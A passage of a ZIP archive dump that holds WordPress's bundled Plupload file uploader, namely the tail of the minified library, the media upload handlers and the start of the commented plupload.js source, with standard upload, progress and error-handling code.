Browser"===I.Env.browser&&r.trigger("UploadProgress",s)):s.loaded=s.size,e=i=null,!c||c>=a.size?(s.size!=s.origSize&&(a.destroy(),a=null),r.trigger("UploadProgress",s),s.status=F.DONE,r.trigger("FileUploaded",s,{response:p.responseText,status:p.status,responseHeaders:p.getAllResponseHeaders()})):T(g,1))},p.onerror=function(){f()},p.onloadend=function(){this.destroy(),p=null},r.settings.multipart&&d.multipart?(p.open("post",o,!0),F.each(r.settings.headers,function(e,t){p.setRequestHeader(t,e)}),i=new I.FormData,F.each(F.extend(n,r.settings.multipart_params),function(e,t){i.append(t,e)}),i.append(r.settings.file_data_name,e),p.send(i,{runtime_order:r.settings.runtimes,required_caps:r.settings.required_features,preferred_caps:h})):(o=F.buildUrl(r.settings.url,F.extend(n,r.settings.multipart_params)),p.open("post",o,!0),p.setRequestHeader("Content-Type","application/octet-stream"),F.each(r.settings.headers,function(e,t){p.setRequestHeader(t,e)}),p.send(e,{runtime_order:r.settings.runtimes,required_caps:r.settings.required_features,preferred_caps:h})))}s.loaded&&(c=s.loaded=u?u*Math.floor(s.loaded/u):0),a=s.getSource(),r.settings.resize.enabled&&function(e,t){if(e.ruid){e=I.Runtime.getInfo(e.ruid);if(e)return e.can(t)}}(a,"send_binary_string")&&~I.inArray(a.type,["image/jpeg","image/png"])?function(t,e,i){var n=new I.Image;try{n.onload=function(){if(e.width>this.width&&e.height>this.height&&e.quality===S&&e.preserve_headers&&!e.crop)return this.destroy(),i(t);n.downsize(e.width,e.height,e.crop,e.preserve_headers)},n.onresize=function(){i(this.getAsBlob(t.type,e.quality)),this.destroy()},n.onerror=function(){i(t)},n.load(t)}catch(e){i(t)}}.call(this,a,r.settings.resize,function(e){a=e,s.size=e.size,g()}):g()}function R(e,t){s(t)}function E(e){if(e.state==F.STARTED)i=+new Date;else if(e.state==F.STOPPED)for(var t=e.files.length-1;0<=t;t--)e.files[t].status==F.UPLOADING&&(e.files[t].status=F.QUEUED,a())}function y(){p&&p.abort()}function v(e){a(),T(function(){r.call(e)},1)}function z(e,t){t.code===F.INIT_ERROR?e.destroy():t.code===F.HTTP_ERROR&&(t.file.status=F.FAILED,s(t.file),e.state==F.STARTED)&&(e.trigger("CancelUpload"),T(function(){r.call(e)},1))}function O(e){e.stop(),F.each(l,function(e){e.destroy()}),l=[],o.length&&(F.each(o,function(e){e.destroy()}),o=[]),d.length&&(F.each(d,function(e){e.destroy()}),d=[]),c=!(h={}),i=p=null,n.reset()}u={runtimes:I.Runtime.order,max_retries:0,chunk_size:0,multipart:!0,multi_selection:!0,file_data_name:"file",filters:{mime_types:[],prevent_duplicates:!1,max_file_size:0},resize:{enabled:!1,preserve_headers:!0,crop:!1},send_file_name:!0,send_chunk_number:!0},_.call(this,e,null,!0),n=new F.QueueProgress,F.extend(this,{id:t,uid:t,state:F.STOPPED,features:{},runtime:null,files:l,settings:u,total:n,init:function(){var t,i=this,e=i.getOption("preinit");return"function"==typeof e?e(i):F.each(e,function(e,t){i.bind(t,e)}),function(){this.bind("FilesAdded FilesRemoved",function(e){e.trigger("QueueChanged"),e.refresh()}),this.bind("CancelUpload",y),this.bind("BeforeUpload",m),this.bind("UploadFile",b),this.bind("UploadProgress",R),this.bind("StateChanged",E),this.bind("QueueChanged",a),this.bind("Error",z),this.bind("FileUploaded",v),this.bind("Destroy",O)}.call(i),F.each(["container","browse_button","drop_element"],function(e){if(null===i.getOption(e))return!(t={code:F.INIT_ERROR,message:F.translate("'%' specified, but cannot be found.")})}),t?i.trigger("Error",t):u.browse_button||u.drop_element?void g.call(i,u,function(e){var t=i.getOption("init");"function"==typeof t?t(i):F.each(t,function(e,t){i.bind(t,e)}),e?(i.runtime=I.Runtime.getInfo(f()).type,i.trigger("Init",{runtime:i.runtime}),i.trigger("PostInit")):i.trigger("Error",{code:F.INIT_ERROR,message:F.translate("Init error.")})}):i.trigger("Error",{code:F.INIT_ERROR,message:F.translate("You must specify either 'browse_button' or 'drop_element'.")})},setOption:function(e,t){_.call(this,e,t,!this.runtime)},getOption:function(e){return e?u[e]:u},refresh:function(){o.length&&F.each(o,function(e){e.trigger("Refresh")}),this.trigger("Refresh")},start:function(){this.state!=F.STARTED&&(this.state=F.STARTED,this.trigger("StateChanged"),r.call(this))},stop:function(){this.state!=F.STOPPED&&(this.state=F.STOPPED,this.trigger("StateChanged"),this.trigger("CancelUpload"))},disableBrowse:function(){c=arguments[0]===S||arguments[0],o.length&&F.each(o,function(e){e.disable(c)}),this.trigger("DisableBrowse",c)},getFile:function(e){for(var t=l.length-1;0<=t;t--)if(l[t].id===e)return l[t]},addFile:function(e,n){var r,s=this,a=[],o=[];r=f(),function e(i){var t=I.typeOf(i);if(i instanceof I.File){if(!i.ruid&&!i.isDetached()){if(!r)return!1;i.ruid=r,i.connectRuntime(r)}e(new F.File(i))}else i instanceof I.Blob?(e(i.getSource()),i.destroy()):i instanceof F.File?(n&&(i.name=n),a.push(function(t){var n,e,r;n=i,e=function(e){e||(l.push(i),o.push(i),s.trigger("FileFiltered",i)),T(t,1)},r=[],I.each(s.settings.filters,function(e,i){D[i]&&r.push(function(t){D[i].call(s,e,n,function(e){t(!e)})})}),I.inSeries(r,e)})):-1!==I.inArray(t,["file","blob"])?e(new I.File(null,i)):"node"===t&&"filelist"===I.typeOf(i.files)?I.each(i.files,e):"array"===t&&(n=null,I.each(i,e))}(e),a.length&&I.inSeries(a,function(){o.length&&s.trigger("FilesAdded",o)})},removeFile:function(e){for(var t="string"==typeof e?e:e.id,i=l.length-1;0<=i;i--)if(l[i].id===t)return this.splice(i,1)[0]},splice:function(e,t){var e=l.splice(e===S?0:e,t===S?l.length:t),i=!1;return this.state==F.STARTED&&(F.each(e,function(e){if(e.status===F.UPLOADING)return!(i=!0)}),i)&&this.stop(),this.trigger("FilesRemoved",e),F.each(e,function(e){e.destroy()}),i&&this.start(),e},dispatchEvent:function(e){var t,i;if(e=e.toLowerCase(),t=this.hasEventListener(e)){t.sort(function(e,t){return t.priority-e.priority}),(i=[].slice.call(arguments)).shift(),i.unshift(this);for(var n=0;n<t.length;n++)if(!1===t[n].fn.apply(t[n].scope,i))return!1}return!0},bind:function(e,t,i,n){F.Uploader.prototype.bind.call(this,e,t,n,i)},destroy:function(){this.trigger("Destroy"),u=n=null,this.unbindAll()}})},F.Uploader.prototype=I.EventTarget.instance,F.File=(t={},function(e){F.extend(this,{id:F.guid(),name:e.name||e.fileName,type:e.type||"",size:e.size||e.fileSize,origSize:e.size||e.fileSize,loaded:0,percent:0,status:F.QUEUED,lastModifiedDate:e.lastModifiedDate||(new Date).toLocaleString(),getNative:function(){var e=this.getSource().getSource();return-1!==I.inArray(I.typeOf(e),["blob","file"])?e:null},getSource:function(){return t[this.id]||null},destroy:function(){var e=this.getSource();e&&(e.destroy(),delete t[this.id])}}),t[this.id]=e}),F.QueueProgress=function(){var e=this;e.size=0,e.loaded=0,e.uploaded=0,e.failed=0,e.queued=0,e.percent=0,e.bytesPerSec=0,e.reset=function(){e.size=e.loaded=e.uploaded=e.failed=e.queued=e.percent=e.bytesPerSec=0}},e.plupload=F}(window,mOxie);PKYd[���E�.�.handlers.min.jsnu�[���var uploader,uploader_init,topWin=window.dialogArguments||opener||parent||top;function fileQueued(e){jQuery(".media-blank").remove();var a=jQuery("#media-items").children(),r=post_id||0;1==a.length&&a.removeClass("open").find(".slidetoggle").slideUp(200),jQuery('<div class="media-item">').attr("id","media-item-"+e.id).addClass("child-of-"+r).append(jQuery('<div class="filename original">').text(" "+e.name),'<div class="progress"><div class="percent">0%</div><div class="bar"></div></div>').appendTo(jQuery("#media-items")),jQuery("#insert-gallery").prop("disabled",!0)}function uploadStart(){try{void 0!==topWin.tb_remove&&topWin.jQuery("#TB_overlay").unbind("click",topWin.tb_remove)}catch(e){}return!0}function uploadProgress(e,a){var r=jQuery("#media-item-"+a.id);jQuery(".bar",r).width(200*a.loaded/a.size),jQuery(".percent",r).html(a.percent+"%")}function fileUploading(e,a){var r=104857600;r<parseInt(e.settings.max_file_size,10)&&a.size>r&&setTimeout(function(){a.status<3&&0===a.loaded&&(wpFileError(a,pluploadL10n.big_upload_failed.replace("%1$s",'<a class="uploader-html" href="#">').replace("%2$s","</a>")),e.stop(),e.removeFile(a),e.start())},1e4)}function updateMediaForm(){var e=jQuery("#media-items").children();1==e.length?(e.addClass("open").find(".slidetoggle").show(),jQuery(".insert-gallery").hide()):1<e.length&&(e.removeClass("open"),jQuery(".insert-gallery").show()),0<e.not(".media-blank").length?jQuery(".savebutton").show():jQuery(".savebutton").hide()}function uploadSuccess(e,a){var r=jQuery("#media-item-"+e.id);"string"==typeof a&&(a=a.replace(/^<pre>(\d+)<\/pre>$/,"$1"),/media-upload-error|error-div/.test(a))?r.html(a):(r.find(".percent").html(pluploadL10n.crunching),prepareMediaItem(e,a),updateMediaForm(),post_id&&r.hasClass("child-of-"+post_id)&&jQuery("#attachments-count").text(+jQuery("#attachments-count").text()+1))}function setResize(e){e?window.resize_width&&window.resize_height?uploader.settings.resize={enabled:!0,width:window.resize_width,height:window.resize_height,quality:100}:uploader.settings.multipart_params.image_resize=!0:delete uploader.settings.multipart_params.image_resize}function prepareMediaItem(e,a){var r="undefined"==typeof shortform?1:2,i=jQuery("#media-item-"+e.id);2==r&&2<shortform&&(r=shortform);try{void 0!==topWin.tb_remove&&topWin.jQuery("#TB_overlay").click(topWin.tb_remove)}catch(e){}isNaN(a)||!a?(i.append(a),prepareMediaItemInit(e)):i.load("async-upload.php",{attachment_id:a,fetch:r},function(){prepareMediaItemInit(e),updateMediaForm()})}function prepareMediaItemInit(r){var e=jQuery("#media-item-"+r.id);jQuery(".thumbnail",e).clone().attr("class","pinkynail toggle").prependTo(e),jQuery(".filename.original",e).replaceWith(jQuery(".filename.new",e)),jQuery("a.delete",e).on("click",function(){return jQuery.ajax({url:ajaxurl,type:"post",success:deleteSuccess,error:deleteError,id:r.id,data:{id:this.id.replace(/[^0-9]/g,""),action:"trash-post",_ajax_nonce:this.href.replace(/^.*wpnonce=/,"")}}),!1}),jQuery("a.undo",e).on("click",function(){return jQuery.ajax({url:ajaxurl,type:"post",id:r.id,data:{id:this.id.replace(/[^0-9]/g,""),action:"untrash-post",_ajax_nonce:this.href.replace(/^.*wpnonce=/,"")},success:function(){var e,a=jQuery("#media-item-"+r.id);(e=jQuery("#type-of-"+r.id).val())&&jQuery("#"+e+"-counter").text(+jQuery("#"+e+"-counter").text()+1),post_id&&a.hasClass("child-of-"+post_id)&&jQuery("#attachments-count").text(+jQuery("#attachments-count").text()+1),jQuery(".filename .trashnotice",a).remove(),jQuery(".filename .title",a).css("font-weight","normal"),jQuery("a.undo",a).addClass("hidden"),jQuery(".menu_order_input",a).show(),a.css({backgroundColor:"#ceb"}).animate({backgroundColor:"#fff"},{queue:!1,duration:500,complete:function(){jQuery(this).css({backgroundColor:""})}}).removeClass("undo")}}),!1}),jQuery("#media-item-"+r.id+".startopen").removeClass("startopen").addClass("open").find("slidetoggle").fadeIn()}function wpQueueError(e){jQuery("#media-upload-error").show().html('<div class="notice notice-error"><p>'+e+"</p></div>")}function wpFileError(e,a){itemAjaxError(e.id,a)}function itemAjaxError(e,a){var r=jQuery("#media-item-"+e),i=r.find(".filename").text();r.data("last-err")!=e&&r.html('<div class="error-div"><a class="dismiss" href="#">'+pluploadL10n.dismiss+"</a><strong>"+pluploadL10n.error_uploading.replace("%s",jQuery.trim(i))+"</strong> "+a+"</div>").data("last-err",e)}function deleteSuccess(e){var a;return"-1"==e?itemAjaxError(this.id,"You do not have permission. Has your session expired?"):"0"==e?itemAjaxError(this.id,"Could not be deleted. Has it been deleted already?"):(e=this.id,a=jQuery("#media-item-"+e),(e=jQuery("#type-of-"+e).val())&&jQuery("#"+e+"-counter").text(jQuery("#"+e+"-counter").text()-1),post_id&&a.hasClass("child-of-"+post_id)&&jQuery("#attachments-count").text(jQuery("#attachments-count").text()-1),1==jQuery("form.type-form #media-items").children().length&&0<jQuery(".hidden","#media-items").length&&(jQuery(".toggle").toggle(),jQuery(".slidetoggle").slideUp(200).siblings().removeClass("hidden")),jQuery(".toggle",a).toggle(),jQuery(".slidetoggle",a).slideUp(200).siblings().removeClass("hidden"),a.css({backgroundColor:"#faa"}).animate({backgroundColor:"#f4f4f4"},{queue:!1,duration:500}).addClass("undo"),jQuery(".filename:empty",a).remove(),jQuery(".filename .title",a).css("font-weight","bold"),jQuery(".filename",a).append('<span class="trashnotice"> '+pluploadL10n.deleted+" </span>").siblings("a.toggle").hide(),jQuery(".filename",a).append(jQuery("a.undo",a).removeClass("hidden")),void jQuery(".menu_order_input",a).hide())}function deleteError(){}function uploadComplete(){jQuery("#insert-gallery").prop("disabled",!1)}function switchUploader(e){e?(deleteUserSetting("uploader"),jQuery(".media-upload-form").removeClass("html-uploader"),"object"==typeof uploader&&uploader.refresh()):(setUserSetting("uploader","1"),jQuery(".media-upload-form").addClass("html-uploader"))}function uploadError(e,a,r,i){var t=104857600;switch(a){case plupload.FAILED:wpFileError(e,pluploadL10n.upload_failed);break;case plupload.FILE_EXTENSION_ERROR:wpFileExtensionError(i,e,pluploadL10n.invalid_filetype);break;case plupload.FILE_SIZE_ERROR:uploadSizeError(i,e);break;case plupload.IMAGE_FORMAT_ERROR:wpFileError(e,pluploadL10n.not_an_image);break;case plupload.IMAGE_MEMORY_ERROR:wpFileError(e,pluploadL10n.image_memory_exceeded);break;case plupload.IMAGE_DIMENSIONS_ERROR:wpFileError(e,pluploadL10n.image_dimensions_exceeded);break;case plupload.GENERIC_ERROR:wpQueueError(pluploadL10n.upload_failed);break;case plupload.IO_ERROR:t<parseInt(i.settings.filters.max_file_size,10)&&e.size>t?wpFileError(e,pluploadL10n.big_upload_failed.replace("%1$s",'<a class="uploader-html" href="#">').replace("%2$s","</a>")):wpQueueError(pluploadL10n.io_error);break;case plupload.HTTP_ERROR:wpQueueError(pluploadL10n.http_error);break;case plupload.INIT_ERROR:jQuery(".media-upload-form").addClass("html-uploader");break;case plupload.SECURITY_ERROR:wpQueueError(pluploadL10n.security_error);break;default:wpFileError(e,pluploadL10n.default_error)}}function uploadSizeError(e,a){var r=pluploadL10n.file_exceeds_size_limit.replace("%s",a.name),r=jQuery("<div />").attr({id:"media-item-"+a.id,class:"media-item error"}).append(jQuery("<p />").text(r));jQuery("#media-items").append(r),e.removeFile(a)}function wpFileExtensionError(e,a,r){jQuery("#media-items").append('<div id="media-item-'+a.id+'" class="media-item error"><p>'+r+"</p></div>"),e.removeFile(a)}function copyAttachmentUploadURLClipboard(){var i;new ClipboardJS(".copy-attachment-url").on("success",function(e){var a=jQuery(e.trigger),r=jQuery(".success",a.closest(".copy-to-clipboard-container"));e.clearSelection(),clearTimeout(i),r.removeClass("hidden"),i=setTimeout(function(){r.addClass("hidden")},3e3),wp.a11y.speak(pluploadL10n.file_url_copied)})}jQuery(document).ready(function(o){copyAttachmentUploadURLClipboard();var d,l={};o(".media-upload-form").on("click.uploader",function(e){var a,r=o(e.target);r.is('input[type="radio"]')?(a=r.closest("tr")).hasClass("align")?setUserSetting("align",r.val()):a.hasClass("image-size")&&setUserSetting("imgsize",r.val()):r.is("button.button")?(a=(a=e.target.className||"").match(/url([^ '"]+)/))&&a[1]&&(setUserSetting("urlbutton",a[1]),r.siblings(".urlfield").val(r.data("link-url"))):r.is("a.dismiss")?r.parents(".media-item").fadeOut(200,function(){o(this).remove()}):r.is(".upload-flash-bypass a")||r.is("a.uploader-html")?(o("#media-items, p.submit, span.big-file-warning").css("display","none"),switchUploader(0),e.preventDefault()):r.is(".upload-html-bypass a")?(o("#media-items, p.submit, span.big-file-warning").css("display",""),switchUploader(1),e.preventDefault()):r.is("a.describe-toggle-on")?(r.parent().addClass("open"),r.siblings(".slidetoggle").fadeIn(250,function(){var e=o(window).scrollTop(),a=o(window).height(),r=o(this).offset().top,i=o(this).height();a&&r&&i&&(a=e+a)<(i=r+i)&&(i-a<r-e?window.scrollBy(0,i-a+10):window.scrollBy(0,r-e-40))}),e.preventDefault()):r.is("a.describe-toggle-off")&&(r.siblings(".slidetoggle").fadeOut(250,function(){r.parent().removeClass("open")}),e.preventDefault())}),d=function(a,r){var e,i,t=r.file;r&&r.responseHeaders&&(i=r.responseHeaders.match(/x-wp-upload-attachment-id:\s*(\d+)/i))&&i[1]?(i=i[1],(e=l[t.id])&&4<e?(o.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:wpUploaderInit.multipart_params._wpnonce,attachment_id:i,_wp_upload_failed_cleanup:!0}}),r.message&&(r.status<500||600<=r.status)?wpQueueError(r.message):wpQueueError(pluploadL10n.http_error_image)):(l[t.id]=e?++e:1,o.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:wpUploaderInit.multipart_params._wpnonce,attachment_id:i,_legacy_support:"true"}}).done(function(e){var a;e.success?uploadSuccess(t,e.data.id):wpQueueError((a=e.data&&e.data.message?e.data.message:a)||pluploadL10n.http_error_image)}).fail(function(e){500<=e.status&&e.status<600?d(a,r):wpQueueError(pluploadL10n.http_error_image)}))):wpQueueError(pluploadL10n.http_error_image)},uploader_init=function(){uploader=new plupload.Uploader(wpUploaderInit),o("#image_resize").on("change",function(){var e=o(this).prop("checked");setResize(e),e?setUserSetting("upload_resize","1"):deleteUserSetting("upload_resize")}),uploader.bind("Init",function(e){var a=o("#plupload-upload-ui");setResize(getUserSetting("upload_resize",!1)),e.features.dragdrop&&!o(document.body).hasClass("mobile")?(a.addClass("drag-drop"),o("#drag-drop-area").on("dragover.wp-uploader",function(){a.addClass("drag-over")}).on("dragleave.wp-uploader, drop.wp-uploader",function(){a.removeClass("drag-over")})):(a.removeClass("drag-drop"),o("#drag-drop-area").off(".wp-uploader")),"html4"===e.runtime&&o(".upload-flash-bypass").hide()}),uploader.bind("postinit",function(e){e.refresh()}),uploader.init(),uploader.bind("FilesAdded",function(a,e){o("#media-upload-error").empty(),uploadStart(),plupload.each(e,function(e){if("image/heic"===e.type&&a.settings.heic_upload_error)wpQueueError(pluploadL10n.unsupported_image);else{if("image/webp"===e.type&&a.settings.webp_upload_error)return wpQueueError(pluploadL10n.noneditable_image),void a.removeFile(e);if("image/avif"===e.type&&a.settings.avif_upload_error)return wpQueueError(pluploadL10n.noneditable_image),void a.removeFile(e)}fileQueued(e)}),a.refresh(),a.start()}),uploader.bind("UploadFile",function(e,a){fileUploading(e,a)}),uploader.bind("UploadProgress",function(e,a){uploadProgress(e,a)}),uploader.bind("Error",function(e,a){var r=a.file&&a.file.type&&0===a.file.type.indexOf("image/"),i=a&&a.status;r&&500<=i&&i<600?d(e,a):(uploadError(a.file,a.code,a.message,e),e.refresh())}),uploader.bind("FileUploaded",function(e,a,r){uploadSuccess(a,r.response)}),uploader.bind("UploadComplete",function(){uploadComplete()})},"object"==typeof wpUploaderInit&&uploader_init()});PKYd[�����plupload.jsnu�[���/**
 * Plupload - multi-runtime File Uploader
 * v2.1.9
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 *
 * Date: 2016-05-15
 */
/**
 * Plupload.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
 * Modified for WordPress, Silverlight and Flash runtimes support was removed.
 * See https://core.trac.wordpress.org/ticket/41755.
 */

/*global mOxie:true */

;(function(window, o, undef) {

var delay = window.setTimeout
, fileFilters = {}
;

// convert plupload features to caps acceptable by mOxie
function normalizeCaps(settings) {		
	var features = settings.required_features, caps = {};

	function resolve(feature, value, strict) {
		// Feature notation is deprecated, use caps (this thing here is required for backward compatibility)
		var map = { 
			chunks: 'slice_blob',
			jpgresize: 'send_binary_string',
			pngresize: 'send_binary_string',
			progress: 'report_upload_progress',
			multi_selection: 'select_multiple',
			dragdrop: 'drag_and_drop',
			drop_element: 'drag_and_drop',
			headers: 'send_custom_headers',
			urlstream_upload: 'send_binary_string',
			canSendBinary: 'send_binary',
			triggerDialog: 'summon_file_dialog'
		};

		if (map[feature]) {
			caps[map[feature]] = value;
		} else if (!strict) {
			caps[feature] = value;
		}
	}

	if (typeof(features) === 'string') {
		plupload.each(features.split(/\s*,\s*/), function(feature) {
			resolve(feature, true);
		});
	} else if (typeof(features) === 'object') {
		plupload.each(features, function(value, feature) {
			resolve(feature, value);
		});
	} else if (features === true) {
		// check settings for required features
		if (settings.chunk_size > 0) {
			caps.slice_blob = true;
		}

		if (settings.resize.enabled || !settings.multipart) {
			caps.send_binary_string = true;
		}
		
		plupload.each(settings, function(value, feature) {
			resolve(feature, !!value, true); // strict check
		});
	}

	// WP: only html runtimes.
	settings.runtimes = 'html5,html4';

	return caps;
}

/** 
 * @module plupload	
 * @static
 */
var plupload = {
	/**
	 * Plupload version will be replaced on build.
	 *
	 * @property VERSION
	 * @for Plupload
	 * @static
	 * @final
	 */
	VERSION : '2.1.9',

	/**
	 * The state of the queue before it has started and after it has finished
	 *
	 * @property STOPPED
	 * @static
	 * @final
	 */
	STOPPED : 1,

	/**
	 * Upload process is running
	 *
	 * @property STARTED
	 * @static
	 * @final
	 */
	STARTED : 2,

	/**
	 * File is queued for upload
	 *
	 * @property QUEUED
	 * @static
	 * @final
	 */
	QUEUED : 1,

	/**
	 * File is being uploaded
	 *
	 * @property UPLOADING
	 * @static
	 * @final
	 */
	UPLOADING : 2,

	/**
	 * File has failed to be uploaded
	 *
	 * @property FAILED
	 * @static
	 * @final
	 */
	FAILED : 4,

	/**
	 * File has been uploaded successfully
	 *
	 * @property DONE
	 * @static
	 * @final
	 */
	DONE : 5,

	// Error constants used by the Error event

	/**
	 * Generic error for example if an exception is thrown inside Silverlight.
	 *
	 * @property GENERIC_ERROR
	 * @static
	 * @final
	 */
	GENERIC_ERROR : -100,

	/**
	 * HTTP transport error. For example if the server produces a HTTP status other than 200.
	 *
	 * @property HTTP_ERROR
	 * @static
	 * @final
	 */
	HTTP_ERROR : -200,

	/**
	 * Generic I/O error. For example if it wasn't possible to open the file stream on local machine.
	 *
	 * @property IO_ERROR
	 * @static
	 * @final
	 */
	IO_ERROR : -300,

	/**
	 * @property SECURITY_ERROR
	 * @static
	 * @final
	 */
	SECURITY_ERROR : -400,

	/**
	 * Initialization error. Will be triggered if no runtime was initialized.
	 *
	 * @property INIT_ERROR
	 * @static
	 * @final
	 */
	INIT_ERROR : -500,

	/**
	 * File size error. If the user selects a file that is too large it will be blocked and an error of this type will be triggered.
	 *
	 * @property FILE_SIZE_ERROR
	 * @static
	 * @final
	 */
	FILE_SIZE_ERROR : -600,

	/**
	 * File extension error. If the user selects a file that isn't valid according to the filters setting.
	 *
	 * @property FILE_EXTENSION_ERROR
	 * @static
	 * @final
	 */
	FILE_EXTENSION_ERROR : -601,

	/**
	 * Duplicate file error. If prevent_duplicates is set to true and user selects the same file again.
	 *
	 * @property FILE_DUPLICATE_ERROR
	 * @static
	 * @final
	 */
	FILE_DUPLICATE_ERROR : -602,

	/**
	 * Runtime will try to detect if image is proper one. Otherwise will throw this error.
	 *
	 * @property IMAGE_FORMAT_ERROR
	 * @static
	 * @final
	 */
	IMAGE_FORMAT_ERROR : -700,

	/**
	 * While working on files runtime may run out of memory and will throw this error.
	 *
	 * @since 2.1.2
	 * @property MEMORY_ERROR
	 * @static
	 * @final
	 */
	MEMORY_ERROR : -701,

	/**
	 * Each runtime has an upper limit on a dimension of the image it can handle. If bigger, will throw this error.
	 *
	 * @property IMAGE_DIMENSIONS_ERROR
	 * @static
	 * @final
	 */
	IMAGE_DIMENSIONS_ERROR : -702,

	/**
	 * Mime type lookup table.
	 *
	 * @property mimeTypes
	 * @type Object
	 * @final
	 */
	mimeTypes : o.mimes,

	/**
	 * In some cases sniffing is the only way around :(
	 */
	ua: o.ua,

	/**
	 * Gets the true type of the built-in object (better version of typeof).
	 * @credits Angus Croll (http://javascriptweblog.wordpress.com/)
	 *
	 * @method typeOf
	 * @static
	 * @param {Object} o Object to check.
	 * @return {String} Object [[Class]]
	 */
	typeOf: o.typeOf,

	/**
	 * Extends the specified object with another object.
	 *
	 * @method extend
	 * @static
	 * @param {Object} target Object to extend.
	 * @param {Object..} obj Multiple objects to extend with.
	 * @return {Object} Same as target, the extended object.
	 */
	extend : o.extend,

	/**
	 * Generates an unique ID. This is 99.99% unique since it takes the current time and 5 random numbers.
	 * The only way a user would be able to get the same ID is if the two persons at the same exact millisecond manages
	 * to get 5 the same random numbers between 0-65535 it also uses a counter so each call will be guaranteed to be page unique.
	 * It's more probable for the earth to be hit with an asteriod. You can also if you want to be 100% sure set the plupload.guidPrefix property
	 * to an user unique key.
	 *
	 * @method guid
	 * @static
	 * @return {String} Virtually unique id.
	 */
	guid : o.guid,

	/**
	 * Get array of DOM Elements by their ids.
	 * 
	 * @method get
	 * @param {String} id Identifier of the DOM Element
	 * @return {Array}
	*/
	getAll : function get(ids) {
		var els = [], el;

		if (plupload.typeOf(ids) !== 'array') {
			ids = [ids];
		}

		var i = ids.length;
		while (i--) {
			el = plupload.get(ids[i]);
			if (el) {
				els.push(el);
			}
		}

		return els.length ? els : null;
	},

	/**
	Get DOM element by id

	@method get
	@param {String} id Identifier of the DOM Element
	@return {Node}
	*/
	get: o.get,

	/**
	 * Executes the callback function for each item in array/object. If you return false in the
	 * callback it will break the loop.
	 *
	 * @method each
	 * @static
	 * @param {Object} obj Object to iterate.
	 * @param {function} callback Callback function to execute for each item.
	 */
	each : o.each,

	/**
	 * Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields.
	 *
	 * @method getPos
	 * @static
	 * @param {Element} node HTML element or element id to get x, y position from.
	 * @param {Element} root Optional root element to stop calculations at.
	 * @return {object} Absolute position of the specified element object with x, y fields.
	 */
	getPos : o.getPos,

	/**
	 * Returns the size of the specified node in pixels.
	 *
	 * @method getSize
	 * @static
	 * @param {Node} node Node to get the size of.
	 * @return {Object} Object with a w and h property.
	 */
	getSize : o.getSize,

	/**
	 * Encodes the specified string.
	 *
	 * @method xmlEncode
	 * @static
	 * @param {String} s String to encode.
	 * @return {String} Encoded string.
	 */
	xmlEncode : function(str) {
		var xmlEncodeChars = {'<' : 'lt', '>' : 'gt', '&' : 'amp', '"' : 'quot', '\'' : '#39'}, xmlEncodeRegExp = /[<>&\"\']/g;

		return str ? ('' + str).replace(xmlEncodeRegExp, function(chr) {
			return xmlEncodeChars[chr] ? '&' + xmlEncodeChars[chr] + ';' : chr;
		}) : str;
	},

	/**
	 * Forces anything into an array.
	 *
	 * @method toArray
	 * @static
	 * @param {Object} obj Object with length field.
	 * @return {Array} Array object containing all items.
	 */
	toArray : o.toArray,

	/**
	 * Find an element in array and return its index if present, otherwise return -1.
	 *
	 * @method inArray
	 * @static
	 * @param {mixed} needle Element to find
	 * @param {Array} array
	 * @return {Int} Index of the element, or -1 if not found
	 */
	inArray : o.inArray,

	/**
	 * Extends the language pack object with new items.
	 *
	 * @method addI18n
	 * @static
	 * @param {Object} pack Language pack items to add.
	 * @return {Object} Extended language pack object.
	 */
	addI18n : o.addI18n,

	/**
	 * Translates the specified string by checking for the english string in the language pack lookup.
	 *
	 * @method translate
	 * @static
	 * @param {String} str String to look for.
	 * @return {String} Translated string or the input string if it wasn't found.
	 */
	translate : o.translate,

	/**
	 * Checks if object is empty.
	 *
	 * @method isEmptyObj
	 * @static
	 * @param {Object} obj Object to check.
	 * @return {Boolean}
	 */
	isEmptyObj : o.isEmptyObj,

	/**
	 * Checks if specified DOM element has specified class.
	 *
	 * @method hasClass
	 * @static
	 * @param {Object} obj DOM element like object to add handler to.
	 * @param {String} name Class name
	 */
	hasClass : o.hasClass,

	/**
	 * Adds specified className to specified DOM element.
	 *
	 * @method addClass
	 * @static
	 * @param {Object} obj DOM element like object to add handler to.
	 * @param {String} name Class name
	 */
	addClass : o.addClass,

	/**
	 * Removes specified className from specified DOM element.
	 *
	 * @method removeClass
	 * @static
	 * @param {Object} obj DOM element like object to add handler to.
	 * @param {String} name Class name
	 */
	removeClass : o.removeClass,

	/**
	 * Returns a given computed style of a DOM element.
	 *
	 * @method getStyle
	 * @static
	 * @param {Object} obj DOM element like object.
	 * @param {String} name Style you want to get from the DOM element
	 */
	getStyle : o.getStyle,

	/**
	 * Adds an event handler to the specified object and store reference to the handler
	 * in objects internal Plupload registry (@see removeEvent).
	 *
	 * @method addEvent
	 * @static
	 * @param {Object} obj DOM element like object to add handler to.
	 * @param {String} name Name to add event listener to.
	 * @param {Function} callback Function to call when event occurs.
	 * @param {String} (optional) key that might be used to add specifity to the event record.
	 */
	addEvent : o.addEvent,

	/**
	 * Remove event handler from the specified object. If third argument (callback)
	 * is not specified remove all events with the specified name.
	 *
	 * @method removeEvent
	 * @static
	 * @param {Object} obj DOM element to remove event listener(s) from.
	 * @param {String} name Name of event listener to remove.
	 * @param {Function|String} (optional) might be a callback or unique key to match.
	 */
	removeEvent: o.removeEvent,

	/**
	 * Remove all kind of events from the specified object
	 *
	 * @method removeAllEvents
	 * @static
	 * @param {Object} obj DOM element to remove event listeners from.
	 * @param {String} (optional) unique key to match, when removing events.
	 */
	removeAllEvents: o.removeAllEvents,

	/**
	 * Cleans the specified name from national characters (diacritics). The result will be a name with only a-z, 0-9 and _.
	 *
	 * @method cleanName
	 * @static
	 * @param {String} s String to clean up.
	 * @return {String} Cleaned string.
	 */
	cleanName : function(name) {
		var i, lookup;

		// Replace diacritics
		lookup = [
			/[\300-\306]/g, 'A', /[\340-\346]/g, 'a',
			/\307/g, 'C', /\347/g, 'c',
			/[\310-\313]/g, 'E', /[\350-\353]/g, 'e',
